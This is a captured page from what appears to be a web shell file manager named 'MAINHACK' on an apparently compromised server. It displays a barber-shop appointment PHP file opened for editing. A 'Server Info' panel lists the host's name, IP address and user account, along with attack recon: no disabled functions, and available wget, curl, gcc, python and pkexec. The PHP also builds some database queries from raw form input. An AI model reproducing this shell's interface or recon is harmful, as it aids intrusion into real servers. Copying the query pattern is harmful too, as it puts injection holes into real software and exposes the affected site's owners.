[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: appointment.php
<?php include("../admin/includes/functions/functions.php");?> <?php include("../admin/db/db.php");?> <?php if(!isset($_SESSION['username_Xw211qAAsq4'])) { header('Location: ../auth/'); exit(); } else{ $pageTitle1 = 'All Appointment Booked'; $shopname = $_SESSION['business_name_Xw211qAAsq4']; $stmt1 = $con->prepare("SELECT * FROM barber_admin WHERE business_name = ? "); $stmt1->execute(array($shopname)); $rows = $stmt1->fetchAll(); foreach($rows as $row) { $phone = $row['phone']; $location = $row['location']; } $active = 1; $stmt1 = $con->prepare("SELECT rate FROM comm_rate WHERE business_name = ? and active = ?"); $stmt1->execute(array($shopname,$active)); $rows = $stmt1->fetchAll(); foreach($rows as $row) { $comRate1 = $row['rate']; if($comRate1 == 0){ $comRates = 0; } else { $comRates = $comRate1; } } if(isset($_POST['assign'])){ $appid = filter_input(INPUT_POST, 'appid', FILTER_SANITIZE_STRING); $appid = htmlspecialchars($appid, ENT_QUOTES, 'UTF-8'); $employee_id = filter_input(INPUT_POST, 'employee_id', FILTER_SANITIZE_STRING); $employee_id = htmlspecialchars($employee_id, ENT_QUOTES, 'UTF-8'); if(!empty($employee_id)){ $stmt = $con->prepare("update appointments set employee_id = ? where appointment_id = ? "); $stmt->execute(array($employee_id,$appid)); } } if(isset($_POST['del'])){ $appDI = filter_input(INPUT_POST, 'appDI', FILTER_SANITIZE_STRING); $appDI = htmlspecialchars($appDI, ENT_QUOTES, 'UTF-8'); try { $stmt = $con->prepare("DELETE FROM appointments where appointment_id = ? "); $stmt->execute(array($appDI)); ?> <!-- SUCCESS MESSAGE --> <script type="text/javascript"> swal("Sales deleted","The sales is deleted successfully", "success").then((value) => { window.location.replace("sales"); }); </script> <?php } catch(Exception $e) { echo "<div class = 'alert alert-danger' style='margin:10px 0px;'>"; echo 'Error occurred: ' .$e->getMessage(); echo "</div>"; } } if(isset($_POST["edit"])){ $change = filter_input(INPUT_POST, 'StatusChange', FILTER_SANITIZE_STRING); $Status = htmlspecialchars($change, ENT_QUOTES, 'UTF-8'); $catid = filter_input(INPUT_POST, 'cat_name', FILTER_SANITIZE_STRING); $cat = htmlspecialchars($catid, ENT_QUOTES, 'UTF-8'); $created = date("Y-m-d"); $discount = 0; $comRate = 0; $stmt = $con->prepare("update appointments set created = ? , status = ?,discount = ?,comRate = ? where appointment_id = ? "); $stmt->execute(array($created,$Status,$discount, $comRate,$cat)); $db_select = mysqli_query($new,"SELECT * FROM true_price,services WHERE services.service_id = true_price.service_id AND true_price.appointment_id = '$cat '"); while($this_side = mysqli_fetch_array($db_select)){ $s_price = $this_side['service_price']; $s_id = $this_side['service_id']; $insert = mysqli_query($new,"INSERT INTO true_price (appointment_id,service_id,price) VALUES ('$cat','$s_id','$s_price')"); } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title> <?php echo $shopname;?> - <?php echo $pageTitle;?></title> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link href="plugins/datatables/dataTables.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/responsive.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/buttons.bootstrap4.css" rel="stylesheet" type="text/css" /> <link href="plugins/datatables/select.bootstrap4.css" rel="stylesheet" type="text/css" /> <script src="https://code.jquery.com/jquery-3.6.4.min.js" integrity="sha256-oP6HI9z1XaZNBrJURtCoUT5SUnxFr8s3BzRl+cbzUq8=" crossorigin="anonymous"></script> <link rel="shortcut icon" href="../assets/icon.png" type="image/x-icon"> <link rel="icon" href="../assets/icon.png" type="image/x-icon"> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <!-- App css --> <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/theme.min.css" rel="stylesheet" type="text/css" /> <style> #preloader { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 9999; background-color: #fff; } #loader { display: block; position: absolute; top: 50%; left: 50%; border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 70px; height: 70px; animation: spin 2s linear infinite; } .table-hover tbody tr:hover td, .table-hover tbody tr:hover th { background-color: #e6ecff; } </style> </head> <body> <!-- <div id="preloader"> <div id="loader"></div> </div> --> <!-- Begin page --> <div id="layout-wrapper"> <div class="header-border"></div> <?php include("includes/template/head.php");?> <?php include("includes/template/side.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <div class="page-title-box d-flex align-items-center justify-content-between"> <h4 class="mb-0 font-size-18"> Online appointment </h4> <div class="page-title-right"> <ol class="breadcrumb m-0"> <li class="breadcrumb-item"><a href="javascript: void(0);"><?= $shopname;?></a></li> <li class="breadcrumb-item active"><?php echo $pageTitle;?></li> </ol> </div> </div> </div> </div> <!-- end page title --> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-body"> <div class="table-responsive"> <table id="basic-datatable" class="table table-hover table-striped table-bordered"> <thead style="background-color:#428bca;border:#428bca;"> <tr style="color: #ffffff;"> <th>Date</th> <th style="width:19%">Services</th> <th>Total</th> <th style="width:13%">Disc</th> <th style="width:13%">Commission</th> <th>Net</th> <th style="width:15%">Info</th> <th>Manage</th> </thead> <tr> <?php $stmt = $con->prepare("SELECT * FROM appointments a , clients c WHERE a.client_id = c.client_id AND a.canceled = 0 and a.status = 'online' AND a.business_name = ? ORDER BY a.appointment_id DESC"); $stmt->execute(array($shopname)); $rows = $stmt->fetchAll(); $count = $stmt->rowCount(); foreach($rows as $service){ ?> <td><?php echo $service['date_created'];?></td> <td style="width:30"><?php $stmtServices = $con->prepare("SELECT service_name,service_price from services s, true_price sb where s.service_id = sb.service_id and sb.appointment_id = ?"); $stmtServices->execute(array($service['appointment_id'])); $rowsServices = $stmtServices->fetchAll(); foreach($rowsServices as $rowsService) { echo "- ".$rowsService['service_name'].' '.$rowsService['service_price']; if (next($rowsServices)==true) echo " <br> "; } ?></td> <td><?php $stmtServices = $con->prepare("SELECT service_name,sum(service_price) as price from services s, true_price sb where s.service_id = sb.service_id and sb.appointment_id = ?"); $stmtServices->execute(array($service['appointment_id'])); $rowsServices = $stmtServices->fetchAll(); foreach($rowsServices as $rowsService) { if (next($rowsServices)==true) echo " <br> "; echo $tt =$rowsService['price']; } ?></td> <td class="py-0 px-1"> <small>Discount: <?php if($service['discount'] == 'Null'){ echo '0.00'. '%'; } else { echo $service['discount'].' %'; }?></small><br> <small>Disc Amt: <?php $dds = $service['discount']; $Disc = ($dds / 100) * $tt; $afterDis = $tt-$Disc; echo number_format($Disc,2).'¢'; ?> </small><br > <small>After Disc: <?php echo number_format($afterDis,2).'¢'; ?> </small> </td> <?php $dds = $service['discount']; $Disc = ($dds / 100) * $tt; $afterDis = $tt-$Disc; ?> <?php $stmtServices = $con->prepare("SELECT service_name,service_price from services s, true_price sb where s.service_id = sb.service_id and sb.appointment_id = ?"); $stmtServices->execute(array($service['appointment_id'])); $rowsServiceser = $stmtServices->fetchAll(); ?> <?php $stmt = $con->prepare("SELECT * FROM appointments a , clients c WHERE a.client_id = c.client_id and a.appointment_id = ?"); $stmt->execute(array($service['appointment_id'])); $rows = $stmt->fetchAll(); foreach($rows as $service12){ $cfname = $service12['first_name']; $clname = $service12['last_name']; $cphone = $service12['phone_number']; } ?> <td class="py-0 px-1"> <small>Comm Rate : <?php if($service['comRate'] == 'Null'){ echo $percentage = '0.0'; } else { echo $percentage = $service['comRate']; }; ?></small><br> <small>Comm Amt: <?php $commission = ($percentage / 100) * $afterDis; echo number_format($commission,2).'¢'; ?> </small> </td> <td> <?php echo $prof = number_format($afterDis-$commission,2);?> </td> <td class="py-0 px-1"> <small>Employee : <?php $stmtEmployees = $con->prepare("SELECT first_name,last_name from employees e, appointments a where e.employee_id = a.employee_id and a.appointment_id = ? "); $stmtEmployees->execute(array($service['appointment_id'])); $rowsEmployees = $stmtEmployees->fetchAll(); foreach($rowsEmployees as $rowsEmployee) { $namee = $rowsEmployee['first_name']." ".$rowsEmployee['last_name']; echo '<a href="receipt?appid='.$service['appointment_id'].'">'.$namee.'</a>'; } ?></small><br> <small>Status Done ?: <?php $idd = $service["appointment_id"]; if($service['active'] == 'Yes'){ echo '<span style="color:green">Yes</span>'; } else { echo '<span style="color:red">No</span>'; };?></small><br/> <small>Payment : <?php echo $service['payment_mode'];?></small> </td> <?php $idd = $service["appointment_id"];?> <!-- <td><?php $idd = $service["appointment_id"]; echo $service['active'];?></td> --> <?php $edit_data = "edit_".$service["appointment_id"];?> <?php $delete_data = "delete_".$service["appointment_id"];?> <?php $reassing_data = "reassing_data".$service["appointment_id"];?> <?php $print = "print_".$service["appointment_id"];?> <?php $printReceipt = $service["appointment_id"];?> <td> <ul class="list-inline m-0"> <li class="list-inline-item" data-toggle="tooltip" title="Change Status"> <a href="#" data-toggle="modal" data-target="#<?php echo $edit_data; ?>" data-placement="top"><i class="fa fa-edit" style="color:#137A8A" ></i></a> </li> <li class="list-inline-item" data-toggle="tooltip" title="Print"> <a href="receipt?appid=<?php echo $printReceipt;?>" data-placement="top"><i class="fa fa-print"></i></a> </li> <li class="list-inline-item" data-toggle="tooltip" title="Re-assign"> <a href="#" data-toggle="modal" data-target="#<?php echo $reassing_data; ?>" data-placement="top"><i class="fa fa-user" style="color:#800000;"></i></a> </li> <li class="list-inline-item" data-toggle="tooltip" title="Delete"> <a href="#" data-toggle="modal" data-target="#<?php echo $delete_data; ?>" data-placement="top"><i class="far fa-trash-alt" style="color:red" ></i></a> </li> <div class="modal fade" id="<?php echo $edit_data; ?>" tabindex="-1" role="dialog" aria-labelledby="<?php echo $edit_data; ?>" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Approve</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <div class="form-group"> <form method="POST"> <label for="category_name"> Status</label> <br /> <input type="hidden" name="cat_name" value="<?php echo $printReceipt; ?>"> <select class="select2" name="StatusChange" style="width: 330px;" required> <option value="">Select option</option> <option value="offline">Approvd</option> <option value="online">Disapprove</option> </select> <br /><br /> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button> <button type="submit" name="edit" class="btn btn-success edit_category_bttn">Save</button> </form> </div> </div> </div> </div> <!-- Delete Modal --> <div class="modal fade" id="<?php echo $delete_data; ?>" tabindex="-1" role="dialog" aria-labelledby="<?php echo $delete_data; ?>" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Delete Service</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form method="POST"> Are you sure you want to delete this Service? </div> <input type="hidden" name="appDI" value="<?php echo $printReceipt; ?>"> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button> <button type="submit" name="del" class="btn btn-danger delete_category_bttn">Delete</button> </form> </div> </div> </div> </div> <div class="modal fade" id="<?php echo $reassing_data; ?>" tabindex="-1" role="dialog" aria-labelledby="<?php echo $reassing_data; ?>" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Re-assign</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form method="POST"> <div class="modal-body"> <label>From</label> <input type="text" class="form-control" readonly value="<?php echo $namee;?>"> <br /> <?php $stmt = $con->prepare("SELECT * FROM employees WHERE business_name = ? order by employee_id DESC"); $stmt->execute(array($shopname)); $rows_categories = $stmt->fetchAll(); ?> <div class="form-group"> <label for="employee_id"> To</label> <br /> <select class="select2" name="employee_id" style="width: 330px;" required> <option value="">Select Employee</option> <?php foreach($rows_categories as $category) { echo "<option value = '".$category['employee_id']."'>"; echo $category['first_name'].' '.$category['last_name']; echo "</option>"; } ?> </select> </div> <input type="hidden" name="appid" value="<?php echo $printReceipt; ?>"> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancel</button> <button type="submit" name="assign" class="btn btn-success">Assign</button> </div> </form> </div> </div> </div> </ul> </td> </tr> <?php }?> </tbody> </table> </div> </div> <!--end card body--> </div> <!-- end card--> </div> <!-- end col --> </div> <!--end row--> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("includes/template/newfooter.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <!-- Overlay--> <div class="menu-overlay"></div> <?php include("includes/modals/ServicesModal.php");?> <script src="assets/js/jquery.min.js"></script> <script src="assets/js/bootstrap.bundle.min.js"></script> <script src="assets/js/metismenu.min.js"></script> <script src="assets/js/waves.js"></script> <script src="assets/js/simplebar.min.js"></script> <script src="plugins/raphael/raphael.min.js"></script> <script src="assets/pages/dashboard-demo.js"></script> <script src="assets/js/theme.js"></script> <script src="plugins/datatables/jquery.dataTables.min.js"></script> <script src="plugins/datatables/dataTables.bootstrap4.js"></script> <script src="plugins/datatables/dataTables.responsive.min.js"></script> <script src="plugins/datatables/responsive.bootstrap4.min.js"></script> <script src="plugins/datatables/dataTables.buttons.min.js"></script> <script src="plugins/datatables/buttons.bootstrap4.min.js"></script> <script src="plugins/datatables/dataTables.keyTable.min.js"></script> <script src="plugins/datatables/dataTables.select.min.js"></script> <script src="assets/pages/datatables-demo.js"></script> <script type="text/javascript"> document.onreadystatechange = function() { if (document.readyState !== "complete") { document.querySelector("#preloader").style.display = "block"; } else { document.querySelector("#preloader").style.display = "none"; } }; </script> <script type="text/javascript"> $(document).ready(function() { $('#example').DataTable( { "order": [[ 5, "desc" ]] } ); } ); </script> <!-- jQuery --> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002